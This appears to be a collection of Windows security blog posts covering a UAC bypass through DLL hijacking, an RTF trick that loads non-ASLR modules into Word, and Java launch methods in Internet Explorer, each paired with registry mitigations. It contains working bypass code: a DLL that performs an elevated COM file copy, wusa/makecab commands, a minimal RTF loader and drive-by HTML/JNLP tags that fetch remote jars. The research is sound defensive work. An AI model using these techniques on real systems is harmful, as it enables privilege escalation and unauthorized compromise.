Mitigation

Securing machines from abuse and compromise in a corporate environment has always been an ongoing process. Providing admin rights to users has always been abused as users have ended up installing unapproved software, change configurations, etc. Not giving local admin rights and they claim they can’t do their work. If malware happens to compromise the machine with full admin rights then you are most likely looking at reimaging the machine.

User Account Control (UAC) gives us the ability to run in standard user rights instead of full administrator rights. So even if your standard user account is in the local admin group damage is limited, i.e. installing services, drivers, writing to secure locations, etc. are denied. To carry out these actions users would need to interact with the desktop such us right click and run as administrator or accept the UAC elevation prompt. UAC was introduced from Windows Vista onwards and contains a number of technologies that include file system and registry virtualization, the Protected Administrator (PA) account, UAC elevation prompts and Windows Integrity levels.

UAC works by adjusting the permission level of our user account, so programs actions are carried out as a standard user even if we have local admin rights on the computer. When changes are going to be made that require administrator-level permission UAC notifies us. If we have local admin rights then we can click yes to continue otherwise we would be prompted to enter an administrator password. These would however depend on what policies have been defined in your environment.

This blog post shows how easily UAC elevation prompts could be bypassed and what actions could be taken to mitigate this threat.

Bypassing UAC
Exploiting UAC is a trivial process. There are two stages needed to be taken to achieve bypass to elevate from standard user rights to administrator user rights. These steps have widely been published so it’s nothing new though stage 2 documents some more DLL hijacking vulnerabilities.

  • Writing to a secure location
  • Exploiting DLL hijacking vulnerability

In order for our bypass to be successful to start off with we need

  1. A medium integrity process
  2. A standard user in an administrators group
  3. Windows executable must be signed by Microsoft code signing certificate
  4. Windows executable must be located in a secure directory
  5. Windows executable also must specify the auto Elevate property in their manifest

Writing to a secure location
There are a couple of ways we can write to a secure location.

  • Using the IFileOperation COM Object
  • Using Windows Update Standalone Installer (wusa.exe)

IFileOperation COM Object
The IFileOperation COM object has a method that we can use to copy files to our secure location as the operation will auto-elevate and able to do a privilege copy. To exploit we can in inject our malicious DLL in a medium integrity process to carry out the operation. Since the COM object is set to auto-elevate the injected process does not need to be marked for auto-elevation in its manifest.

On windows 7 injected processes that have copied successfully are

C:\Windows\explorer.exe
C:\Windows\System32\wuauclt.exe
C:\Windows\System32\taskhost.exe

During tests taskhost.exe only happens to work once after boot and wuauclt.exe doesn’t always work which leaves explorer.exe is only the reliable process to use.

On Windows 8 injected processes that have copied successfully are

C:\Windows\explorer.exe
C:\Windows\System32\wuauclt.exe
C:\Windows\System32\RuntimeBroker.exe

Again explorer.exe is only the reliable process to use I found during my tests and the only one that worked on Windows 8.1

The main part of the code below has been taken from MSDN with just the some minor changes. The SetOperationFlags values used was taken from the UAC bypass code published here.

#include <stdio.h>
#include <Shobjidl.h>
#include <Windows.h>

#pragma comment(lib, "Ole32.lib")
#pragma comment(lib, "shell32.lib")

int WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
FileOperation  *pfo;
IShellItem      *psiFrom = NULL;
IShellItem      *psiTo = NULL;
LPCWSTR pszSrcItem = L"calc.dll";
LPCWSTR pszNewName = L"cryptbase.dll";
LPCWSTR pszDest    = L"C:\\windows\\System32\\sysprep";

HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
if (SUCCEEDED(hr))
{
 hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo));
 if (SUCCEEDED(hr))
 {
 hr = pfo->SetOperationFlags( FOF_NOCONFIRMATION |
 FOF_SILENT |
 FOFX_SHOWELEVATIONPROMPT |
 FOFX_NOCOPYHOOKS |
 FOFX_REQUIREELEVATION |
 FOF_NOERRORUI );
 if (SUCCEEDED(hr))
 {
 hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom));
 if (SUCCEEDED(hr))
 {
 if (NULL != pszDest)
 {
 hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo));
 }
 if (SUCCEEDED(hr))
 {
 hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);
 if (NULL != psiTo)
 {
 psiTo->Release();
 }
 }
 psiFrom->Release();
 }
 if (SUCCEEDED(hr))
 {
 hr = pfo->PerformOperations();
 }
 }
 pfo->Release();
 }
 CoUninitialize();
 }
 return 0;
}

Windows Update Standalone Installer
Another method to use to copy to our secure location is using Windows Update Standalone Installer (wusa.exe). Wusa.exe when executed runs as a high integrity process as its set to auto-elevate in its manifest. For auto-elevation the Windows executable must be signed, located in a secure directory such as C:\Windows\System32 and must specify the autoElevate property in their manifest.

We use wusa.exe to extract a CAB file (cabinet archive file) to our secure location

wusa c:\users\user1\desktop\poc.tmp /extract:c:\windows\system32\sysprep

Here in the example our cab file is called poc.tmp but we can call it whatever we like. Windows comes with the makecab.exe tool so we can even create our cab file

makecab c:\users\user1\desktop\CRYPTBASE.dll c:\users\user1\desktop\poc.tmp

Exploiting DLL hijacking vulnerability
When exploiting a DLL hijacking vulnerability the executable we are going to run again has to be signed; located in a secure directory and must specify the autoElevate property in its manifest in order load as a high integrity process.

On Windows 7 there are three executables that could be exploited and associated DLLs listed below

C:\windows\ehome\Mcx2Prov.exe
C:\Windows\ehome\CRYPTBASE.dll

C:\windows\System32\sysprep\sysprep.exe
C:\Windows\System32\sysprep\CRYPTSP.dll
C:\windows\System32\sysprep\CRYPTBASE.dll
C:\Windows\System32\sysprep\RpcRtRemote.dll
C:\Windows\System32\sysprep\UxTheme.dll

C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL

On malwr.com a malware submitted on 25th June last year had already been using Mcx2Prov.exe to bypass UAC and day later an exploit had also been published.

The same hash had also been flagged on VirusTotal (38/54) submitted over four months ago.

On Windows 8 there are also three executables that could be exploited and associated DLLs listed below

C:\windows\System32\sysprep\sysprep.exe
C:\windows\System32\sysprep\CRYPTBASE.dll
C:\Windows\System32\Sysprep\dwmapi.dll
C:\Windows\System32\Sysprep\SHCORE.dll

C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL

C:\windows\System32\pwcreator.exe
C:\Windows\System32\vds.exe
C:\Windows\System32\UReFS.DLL

Finally on Windows 8.1 there are also three executables that could be exploited and associated DLLs listed below

C:\windows\System32\sysprep\sysprep.exe
C:\Windows\System32\Sysprep\SHCORE.dll
C:\Windows\System32\Sysprep\OLEACC.DLL

C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL

C:\windows\System32\pwcreator.exe
C:\Windows\System32\vds.exe
C:\Program Files\Common Files\microsoft shared\ink\CRYPTBASE.dll
C:\Program Files\Common Files\microsoft shared\ink\CRYPTSP.dll
C:\Program Files\Common Files\microsoft shared\ink\dwmapi.dll
C:\Program Files\Common Files\microsoft shared\ink\USERENV.dll
C:\Program Files\Common Files\microsoft shared\ink\OLEACC.dll

Calling pwcreator.exe (Create a Windows To Go workspace) executable calls vds.exe (Virtual Disk Service) which then loads our DLL and gives us System integrity running in SYSTEM account.

Calling these executables sysprep.exe, cliconfg.exe and pwcreater.exe does produce a GUI window but should be able to easily make it run in the background and then terminated after being exploited. This is something I haven’t looked into so I’ll leave upto you.

Mitigation
The best way to mitigate this bypass is just by not giving users local admin rights to their machines. Majority of user accounts in a corporate environment you should be able to do this reducing the attack surface. This however does not apply home users which would have local admin rights by default.

The actual bypass only works when set to the middle two UAC settings which will let it auto-elevate. To see your settings you need to go to Control Panel – User Accounts – Change User Account Control settings.

Notify me only when apps try to make changes to my computer (default)
Notify me only when apps try to make changes to my computer (do not dim desktop settings)

so we could set to Always notify but this would bring it back to like it was on Windows Vista with constant notifications and not really practical and the user would end up setting it to Never notify which is definitely not a good idea.

Microsoft has given us 10 UAC policies to play with so it’s worth spending some time understanding and testing these out before implementing it in your own domain environment. To see what is applied on your local machine type secpol.msc into Start-Run to open the Local Security Policy snap-in and expand the Local Policies-Security Options folder. Run rsop.msc to view group policies applied on machines in a domain environment.

Looking in the registry these are the default values of UAC

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"ConsentPromptBehaviorAdmin"=dword:00000005
"ConsentPromptBehaviorUser"=dword:00000003
"EnableInstallerDetection"=dword:00000001
"EnableLUA"=dword:00000001
"EnableSecureUIAPaths"=dword:00000001
"EnableUIADesktopToggle"=dword:00000000
"EnableVirtualization"=dword:00000001
"FilterAdministratorToken"=dword:00000000
"PromptOnSecureDesktop"=dword:00000001
"ValidateAdminCodeSignatures"=dword:00000000

When the slider is moved upto “Always notify me” it changes this value

"ConsentPromptBehaviorAdmin"=dword:00000002

When the slider is moved down to “Notify me only when apps try to make changes to my computer (do not dim desktop settings)” it changes this value

"PromptOnSecureDesktop"=dword:00000000

And when the slider is moved to “Never notify” the values changed are

"ConsentPromptBehaviorAdmin"=dword:00000000
"EnableLUA"=dword:00000000
"PromptOnSecureDesktop"=dword:00000000

Take note that EnableLUA has been disabled completely. This is an extremely dangerous value to be in and should never be disabled so its strongly recommend to set this settings to be enabled in group policies so it always gets applied if settings are reset/changed by users or by previously removed malware.

User Account Control: Run all administrators in Admin Approval Mode

Once disabled not only a malicious process could be able to go straight to high integrity without any bypass but also Internet Explorer would run in medium integrity. UAC gives us the Protected Mode (sandbox) in Internet Explorer providing added security. Internet Explorer normally runs in low integrity child process so if compromised by some IE exploit the damage is minimized as in low integrity there are only a handful of locations it can be written to on the system.

These changes mentioned above have been seen on Windows 7. On Windows 8/8.1 EnableLUA does not change to disabled. So when the slider is moved to Never notify the values changed are only

"ConsentPromptBehaviorAdmin"=dword:00000000
"PromptOnSecureDesktop"=dword:00000000

Since value “EnableLUA”=dword:00000001 does not change, UAC is not completely disabled and Internet Explorer would still run in low integrity.

If however a user logged onto a machine using the local admin account (administrator or whatever renamed on your corporate build) UAC settings does not apply as all processes run in high integrity. This applies to Windows 7/8 and 8.1 so always make sure users DO NOT logon using local admin account, if local admin rights are required better add their domain account to the local administrators group.

If for whatever reason logging on using the local admin account is a necessity then best set this UAC policy to enabled.

User Account Control: Admin Approval Mode for the built-in Administrator account
“FilterAdministratorToken”=dword:00000001

Another option would be to look into renaming or deleting the executables Mcx2Prov.exe, sysprep.exe, cliconfg.exe and pwcreator.exe if definitely not required on the system so the second stage to exploit DLL hijacking fails.

Finally if users do require local admin privileges then worth setting their machine UAC policy to Always notify and they live with the constant notifications.

User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode (2-Prompt for consent on the secure desktop)

Conclusion
This bypass only works when all of the requirements are available to abuse. Remove one requirement and the bypass will fail. Office documents are opened in medium integrity so these are ideal targets to abuse the UAC bypass. Since these bypasses are so effortlessly achieved the only real course of action would be to set UAC to “Always notify” or remove local admin rights for the user. In the end using agents like Microsoft EMET or MalwareBytes Anti-Exploit would be the best mitigating action to take from initially being exploited in the first place.

Here are the source and binaries you can test for yourself. I tested it on Windows Enterprise 7/8/8.1 64bit

References
http://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx
http://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx
http://windows.microsoft.com/en-gb/windows/what-is-user-account-control#1TC=windows-7
http://windows.microsoft.com/en-gb/windows/what-are-user-account-control-settings#1TC=windows-7
http://blog.cobaltstrike.com/2014/03/20/user-account-control-what-penetration-testers-should-know

A couple of months ago a RTF 0-day was used in attacks and to bypass ASLR (Address Space Layout Randomization) it was using a non-ASLR module MSCOMCTL.OCX.  This got me interested to research into how it was actually loading up and discover if there were any more modules that could be used in the future following the recent Microsoft bulletin MS14-024 that finally implemented ASLR on the module. I started with an exploit taken from MetaSploit which exploits the Microsoft Word RTF Object Confusion vulnerability (CVE-2014-1761) and patched in April updates MS14-017 . This exploit uses module MSCOMCTL.OCX to bypass ASLR and what I needed was that part of the code so removed all other code leaving it just to load the OCX file.

Just to load the OCX file we are looking around 17018 bytes added to the exploit. Far too large so I started looking into ways to reduce the size. Most of the data was used in the control word \objdata which contains the data used by the object represented in hexadecimal. Taking this data and using a vbs script I wrote the data to file so it could be easily viewed in a hex editor to try and make sense of it.

The FormatID value of 0x00000002 tells the ObjectHeader structure that it must be followed by an EmbeddedObject structure. The main value to look at was the bulk size of the data which had a size of 0x00001E00 (7680 bytes), going to the end of this data clunk leads to the next OLEVersion header. Removing this data chunk, some control words and tidying it up we are left with

As you can see I have also changed the data chunk size to 1 and the data chunk only now contains 0x41 and the file size has gone down to 1619 bytes. (Size defined on line 8)

Looking at the remaining data above there is another OLEVersion header and FormatID value. FormatID 0x00000005 tells us that the classname must be present, is this case METAFILEPICT. The classname field identifies the type of the presentation data structure and in this case is a Windows Meta File (WMF). If we change the FormatID to 0x00000000 it tells the parser that that classname field must not be present and we can remove the rest of the data chunk which leaves us with

Lastly the control word \objclass is optional so thats removed

Finally we end up with a size of 180 bytes from the huge 17018 bytes we started in the beginning. It could be the 0-day exploit chose a large chunk of object data to give it a bit of size and confusion for the analyst when reverse engineering the RTF. A good Microsoft document  “Object Linking and Embedding (OLE) Data Structures”  explains the data structures.

Searching for new ActiveX/COM objects
Now that all the irrelevant data had been discarded it was a matter of just changing the ProgID (programmatic identifier) and size of the ProgID. Since ActiveX controls are not being used in Internet Explorer the controls are not required to be marked as “safe for initialization” or “safe for scripting”. The tedious task now was building a couple of vanilla Windows machines and get them all up-to-date, testing with only Windows first and then with Microsoft Office. Actions needed to take were

  • List all non ASLR modules
  • List all COM object modules
  • Test modules can be loaded in Word
  • Check modules does not get rebased

After going through this process I ended up with two libraries that fitted the criteria perfectly.

Library OTKLOADR.DLL
Path C:\Program Files\Microsoft Office\Office14\ADDINS\
C:\Program Files (x86)\Microsoft Office\Office14\ADDINS\ (W64)
ProgIDs otkloadr.WRAssembly.1
otkloadr.WRLoader.1
Versions 7.10.2179.0 (msvcr71.dll) 7.10.5077.0 (olkloadr.dll)
Note OTKLOADR.DLL gets rebased but is linked to another non-ASLR module MSVCR71.DLL in the same path
Library SQLCECA35.DLL
Path C:\Program Files\Microsoft SQL Server Compact Edition\v3.5\
C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5 (W64)
ProgIDs SSCE.DropTableListener.3.5
SSCE.Engine.3.5SSCE.Error.3.5
SSCE.Errors.3.5
SSCE.Param.3.5
SSCE.Params.3.5
SSCE.RemoteDataAccess.3.5
SSCE.Replication.3.5
Versions 3.5.5692.0 (sqlceca35.dll and sqlceer35EN.dll)
Note Another module also gets loaded sqlceer35EN.dll but gets rebased

All of the ProgIDs listed above apart from one loads the relevant non ASLR module successfully but upon exiting MS Word it prompts “Do you want to save changes you made to {filename}” and also most of the time gives error “There is not enough memory or disk space to display or print the picture”.

The one that works with no prompts or errors was using ProgID “otkloadr.WRAssembly.1“. This ProgID works with no issues at all, opens and exits the document cleanly, no square box displayed and it happens to be our friendly old “MSVCR71.DLL” library not compiled with the /DYNAMICBASE option. Looks like this library just does not go away and has come back to haunt us again :-) Another research area would be to load all ProgIDs available and monitor which ones load non-ASLR modules but that’s for another day. Here is a screenshot of both libraries loaded in WINWORD.EXE process space

This has been tested on a fully patched Windows 7 SP1 Enterprise OS (32bit and 64bit) with Microsoft Office Professional Plus 2010 (32bit) with version of Word being 14.0.7116.5000 (32bit) and here is the code using ProgID otkloadr.WRAssembly.1

{\rtf1{\object\objocx{\*\objdata 
01050000
02000000
16000000
6f746b6c6f6164722e5752417373656d626c792e3100
00000000
00000000
01000000
41
01050000
00000000
}}}

Third Party modules
As I started looking at other apps dozens of ProgIDs were being discovered. ITunes and DivX player contains modules that could be loaded by their ProgIDs but unlikely as they use the preferred base address of 0x10000000 so if some module is already loaded at that address then the next module would get rebased. Yahoo Messenger contains a number of ProgIDs that does not get rebased. I also found some old Microsoft OCX files (non-ASLRed) installed on another PC most likely by other third-party software or old Microsoft software. A quick test on ProgIDs PicClip.PictureClip.1 (PICCLP32.OCX) MSMAPI.MapiMessage.1 (MSMAPI32.OCX) worked fine.

C:\Windows\System32\COMCT232.OCX   
C:\Windows\System32\COMCTL32.OCX   
C:\Windows\System32\COMDLG32.OCX   
C:\Windows\System32\MCI32.OCX
C:\Windows\System32\MSCOMCT2.OCX   
C:\Windows\System32\MSCOMM32.OCX
C:\Windows\System32\MSFLXGRD.OCX   
C:\Windows\System32\MSINET.OCX
C:\Windows\System32\MSMAPI32.OCX
C:\Windows\System32\MSMASK32.OCX
C:\Windows\System32\MSWINSCK.OCX
C:\Windows\System32\PICCLP32.OCX
C:\Windows\System32\SYSINFO.OCX
C:\Windows\System32\TABCTL32.OCX

Mitigation
The best mitigation would be to install Microsoft EMET and add MSWord (WINWORD.EXE) to its application list. EMET has a number of mitigations which will stop exploits one way or another and it’s free so there’s no excuse for not getting it deployed. There is also a  FixIT from Microsoft which configures the Microsoft Office File Block policy to prevent the opening of RTF files in supported versions of Microsoft Word. You can also configure the blocking of RTF files manually in the Trust Center settings.

File — Options — Trust Center — Trust Center Settings — File Block Settings

Make sure “Open” is checked for RTF Files. Further below there are three other choices. “Do not open selected file types” selected won’t even open the file which is what you want.

Choosing “Open selected file types in Protected View” which is the default opens another WINWORD.EXE as a child process in low integrity mode.

The registry settings are below if you decide to script it out to your managed assets.

Windows Registry Editor Version 5.00
;
[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\FileBlock]
"RtfFiles"=dword:00000002
"OpenInProtectedView"=dword:00000001
;
; "RtfFiles"=dword:00000001            - Save checked
; "RtfFiles"=dword:00000002            - Open and Save checked
; "OpenInProtectedView"=dword:00000000 - Do not open selected file types
; "OpenInProtectedView"=dword:00000001 - Open selected file types in Protected View
; "OpenInProtectedView"=dword:00000002 - Open selected file types in Protected View and allow editing

By default for most MSWord document formats are not set for Protected View settings so MSWord would be running in medium integrity meaning once compromised would be extremely damaging making malware persistent on the machine. RTF format file extensions .rtf can be renamed to .doc and still would be parsed as RTF so bear that in mind for those who are thinking of blocking just by .rtf extension on your mail relays.

Conclusion
Bypassing ASLR on Microsoft Word RTF formatted documents has now become a lot easier as we can see. There could be potentially hundreds of possible ProgIDs on a system from various applications that could be used increasing the ever threat of being compromised. Until all vendors start compiling there code with the /DYNAMICBASE option which I don’t see it happening anytime soon the only real defense would be to get Microsoft EMET installed on all assets ASAP.

Here is a zip file containing some example RTF files, third-party software ProgIDs, vbs script, etc.

 

 

This year we’ve seen a number of 0 day Java exploits surfacing and various mitigating steps mentioned in various sites that could be taken to prevent us from being compromised. A lot of these mitigating steps vary from each other so when it comes to mitigate Java in Internet Explorer it adds doubt to which is the best mitigation steps to follow. Uninstalling Java would obviously solve the problem but that is not really an option in organisations dependant on Java.

This post describes the mitigating steps available, the tests carried out and how to bypass certain mitigations. The tests have been carried out on a fully patched Windows 7 Enterprise 32bit virtual machine with Internet Explorer 8 and a vulnerable version of Java.

Prevent loading of applet in IE’s “Internet Zone”
This setting disables the loading of Java applets from the Internet zone. There are different keys representing different security zones [3] and the Internet zone has a value of 3.

; First set the URLAction to control APPLET behavior
; Zone 3 is the Internet zone
; 1C00 is the Java invocation policy
; "1C00"=dword:00000000 <-- disable loading of Java applet
; "1C00"=dword:00010000 <-- enable loading of Java applet
;
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1C00"=dword:00000000

HKEY_CURRENT_USER (HKCU) entry would take priority first. So if disabled in HKEY_LOCAL_MACHINE (HKLM) but enabled in HKCU then you will still be exploited so it is best just to apply the change in HKCU. Any external site attempting to use an applet tag will now not load the applet and a notification bar will be displayed.


This mitigation would only protect from applet tag examples below. With other techniques this mitigation is ineffective.

<APPLET archive="calc.jar" code="Exploit.class" width="1" height="1"></APPLET>
<APPLET code="Exploit.class" width="1" height="1"></APPLET>

Prevent loading of applet in all IE zones
This settings stops the loading of Java in all IE browser zones. This might be a problem internally in organisations which depend on the applet tag.

; "UseJava2IExplorer"=dword:00000000 <-- disable loading of Java applet
; "UseJava2IExplorer"=dword:00000001 <-- enable loading of Java applet
;
[HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Plug-in\10.7.2]
"UseJava2IExplorer"=dword:00000000

An issue with this mitigation is that each time Java is installed the mitigation gets reset to its default value as a new Java version registry key is added.

10.4.0 – Java 7 update 4
10.6.2 – Java 7 update 6
10.7.2 – Java 7 update 7
10.9.2 – Java 7 update 9

Once mitigation has been made a popup would be seen first time.

If the check box is ticked “Do not show this message again” it writes to the registry entry below

[HKEY_CURRENT_USER\Software\Microsoft\Active Setup\Declined Install On Demand IEv5]
"{08B0e5c0-4FCB-11CF-AAA5-00401C608501}"=""

This mitigation only stops exploits using the applet tag, cannot be managed by Internet Explorer zones and any new Java update means you’ll need to update the registry again.

Invoking Java classids via OBJECT tag
Internet Explorer can use the classid attribute OBJECT tag to load Java. Hundreds of Java classids gets registered when Java is installed. One classid is particularly dangerous as it works transparently from the Internet zone without any notification bars or alerts and has been used in actual exploits. The reason being is that this classid gets added in the preapproved list.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{8AD9C840-044E-11D1-B3E9-00805F499D93}

This classid calls the latest installed version of Java Plug-in installed on the machine. Whats interesting is that this classid is already added in Windows 7 preapproved registy key without even Java being installed. To mitigate this classid needs to be killbitted

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{8AD9C840-044E-11D1-B3E9-00805F499D93}]
"Compatibility Flags"=dword:00000400

To exploit it can be called like this

<OBJECT classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" width="1" height="1">
  <PARAM name="code" value="Exploit.class">
</OBJECT>

Another way to mitigate this classid is to disable the Java Plugin’s ActiveX control through IE’s “Manage Add-ons”.

Once disabled it writes to the registry below and settings are retained even after a Java update though I prefer the killbit option.

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{8AD9C840-044E-11D1-B3E9-00805F499D93}]
"Flags"=dword:00000001
"Version"="*"

The hundreds of other classids are mainly for backwards compatibility. So if an older specific version of Java is installed, those can be called using a specific classid, in the example below its calling Java 7 update 7

<OBJECT classid="clsid:CAFEEFAC-0017-0000-0007-ABCDEFFEDCBA" width="1" height="1">
  <PARAM name="code" value="Exploit.class">
</OBJECT>

Or to invoke the latest Java 7 version installed

<OBJECT classid="clsid:CAFEEFAC-0017-0000-FFFF-ABCDEFFEDCBA" width="1" height="1">
  <PARAM name="code" value="Exploit.class">
</OBJECT>

The way the classid versions is worked out is in say CAFEEFAC-xxxx-yyyy-zzzz-ABCDEFFEDCBA, “xxxx”, “yyyy”, and “zzzz” are four-digit numbers to identify the specific version of Java Plug-in to be used. In references [1][2] only a handful of classid’s listed below but actually when Java gets installed it installs hundreds of classids. Click here to see all the CAFEEFAC- classid’s registered on a Java 7 update 4 installation. In these references just killbitting these classids does not make sense as invoking any other classid will give the same two prompts as these ones. (screenshots given further down in  the Java Web Start ActiveX control section). So if you are thinking of killbitting these classids then follow Cert’s recommendation [4] as it kills all classids upto a certain version. A Java update will register newer classids each time so if killbitting these is an option you prefer then you’ll need to keep uptodate.

These classid’s are the only ones mentioned for Java version 7 and upto update 6.

CAFEEFAC-0017-0000-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0001-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0002-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0003-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0004-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0005-FFFF-ABCDEFFEDCBA
CAFEEFAC-0017-0006-FFFF-ABCDEFFEDCBA
CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA

So CAFEEFAC-0017-0006-FFFF-ABCDEFFEDCBA might have been killbitted but if you know the Java version you are attacking you could use

CAFEEFAC-0017-0000-0006-ABCDEFFEDCBA
CAFEEFAC-0017-0000-0006-ABCDEFFEDCBB
CAFEEFAC-0017-0000-0006-ABCDEFFEDCBC

Another classid registered invokes an old version of Java and to exploit using this classid you’ll have to deal with a third warning window prompt and thiswould come up everytime.
 

To exploit

<HTML>
<OBJECT CLASSID="clsid:E19F9331-3110-11D4-991C-005004D3B3DB" width="1" height="1">
  <PARAM name="code" value="Exploit.class">
</OBJECT>
</HTML>

And to mitigate killbit the control

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{E19F9331-3110-11D4-991C-005004D3B3DB}]
"Compatibility Flags"=dword:00000400

Loading Java via the EMBED tag
Java can also be exploited in Internet Explorer using the EMBED tag. Here applet mitigations is ineffective but killbitting/disabling the ActiveX control 8AD9C840-044E-11D1-B3E9-00805F499D93 as mentioned in previous section mitigates it.

To exploit

<HTML>
  <EMBED code="Exploit.class" type="application/x-java-applet" width="1" height="1"></EMBED>
</HTML>

Here the the mimetype “application/x-java-applet” points back to classid 8AD9C840-044E-11D1-B3E9-00805F499D93

Prevent automatically opening JNLP files via APPLET
Java Network Launch Protocol (JNLP) could also be used for launching applets directly from JNLP files. To launch an applet from a JNLP file the “jnlp_href” parameter would need to be used in the applet tag. This could be used in a transparent driveby attack too.

<HTML>
  <APPLET><param name="jnlp_href" value="mycalc.jnlp"></APPLET>
</HTML>

The jnlp file doesnt need to contain the full url path

<?xml version="1.0" encoding="UTF-8"?>
<jnlp href="mycalc.jnlp">
     <information>
       <title>Calculator</title>
       <vendor>POC</vendor>
     </information>
     <resources>
       <j2se version="1.7+" />
       <jar href="calc.jar" main="true" />
     </resources>
     <applet-desc
         name="Calculator"
         main-class="Exploit"
         width="1"
         height="1">
     </applet-desc>
</jnlp>

When calling the jnlp file via the html file the jnlp file can be any extension so say in the above code mycalc.jnlp could be called mycalc.txt. Since this uses the applet tag the above mitigation on the applet would mitigate this threat.

Double-clicking on a JNLP file
Even with all the browser mitigations in place it doesnt stop an attacker to email a jnlp file to the victim. Just by double-clicking the attachment would compromise the machine.

<?xml version="1.0" encoding="UTF-8"?>
<jnlp href="mycalc.jnlp">
     <information>
       <title>Calculator</title>
       <vendor>POC</vendor>
     </information>
     <resources>
       <j2se version="1.7+" />
       <jar href="http://192.168.1.3/calc.jar" main="true"/>
     </resources>
     <applet-desc
         name="Calculator"
         main-class="Exploit"
         width="1"
         height="1">
     </applet-desc>
</jnlp>

One way to mitigate is to change the file association and/or block jnlp file attachments on your mail relays.

HKLM\SOFTWARE\Classes\JNLPFile\Shell\Open\Command\: “”C:\Program Files\Java\jre7\bin\javaws.exe” “%1″”

Prevent automatically opening JNLP files via mimetype association
Using Java Web Start can be used to open a JNLP file. By default JNLP files open without any interaction from the user. For this to be exploited the web server would have to be configured with the .jnlp file extension to the mimetype “application/x-java-jnlp-file”. Then simply visiting a link say http://192.168.1.3/mycalc.jnlp would compromise your box.

<?xml version="1.0" encoding="utf-8"?>
<jnlp href="mycalc.jnlp" codebase="http://192.168.1.3/">
  <information>
    <title>Calculator</title>
    <vendor>POC</vendor>
  </information>
  <resources>
    <j2se version="1.7+"/>
    <jar href="calc.jar" main="true"/>
  </resources>
  <applet-desc
         name="Calculator"
         main-class="Exploit"
         width="1"
         height="1">
  </applet-desc>
</jnlp>

Signing your own app and using jnlp code below could be used but user interaction is required and you don’t need a vulnerability for this one.

<?xml version="1.0" encoding="utf-8"?>
<jnlp href="mycalc.jnlp" codebase="http://192.168.1.3/">
  <information>
    <title>Calculator</title>
    <vendor>POC</vendor>
  </information>
  <security>
    <all-permissions/>
  </security>
  <resources>
    <jar href="mycalc_signed.jar" main="true"/>
  </resources>
  <application-desc
         name="Calculator"
         main-class="mycalc"
         width="1"
         height="1">
  </application-desc>
</jnlp>

To mitigate we can change the default setting of EditFlags to all zeros which will then prompt the user.

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JNLPFile]
"EditFlags"=dword:00000000

On the Cert advisory EditFlags is a binary value but a dword value can also be used.

Prevent automatically opening JNLP files via ActiveX Control
Using Java Web Start ActiveX control can also be used to run a JNLP file but user interaction is required.

.

To exploit

<HTML>
<OBJECT CLASSID="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" width="1" height="1">
  <PARAM name="app" value="http://192.168.1.3/mycalc.jnlp">
</OBJECT>
</HTML>

and the JNLP file is

<?xml version="1.0" encoding="UTF-8"?>
<jnlp href="mycalc.jnlp">
     <information>
       <title>Calculator</title>
       <vendor>POC</vendor>
     </information>
     <resources>
       <j2se version="1.7+" />
       <jar href="calc.jar" main="true" />
     </resources>
     <applet-desc
         name="Calculator"
         main-class="Exploit"
         width="1"
         height="1">
     </applet-desc>
</jnlp>

To mitigate killbit this classid

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{5852F5ED-8BF4-11D4-A245-0080C6F74284}]
"Compatibility Flags"=dword:00000400

Java Deployment Toolkit ActiveX Controls
This Java Deployment Toolkit classid CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA was exploited in 2010 (CVE-2010-1423). On a fully patched Windows 7 machine this has already been killbitted without even Java being installed and points to an alternate classid CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA. This classid has been killbitted in Cert’s mitigation so its recommended to keep this one killbitted too.

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA}]
"Compatibility Flags"=dword:00000400

Preventing compromise
So what it comes down to is just these few changes on your system prevent it from being compromised automatically by a drive by attack.

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JNLPFile]
"EditFlags"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1C00"=dword:00000000
[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{8AD9C840-044E-11D1-B3E9-00805F499D93}]
"Compatibility Flags"=dword:00000400
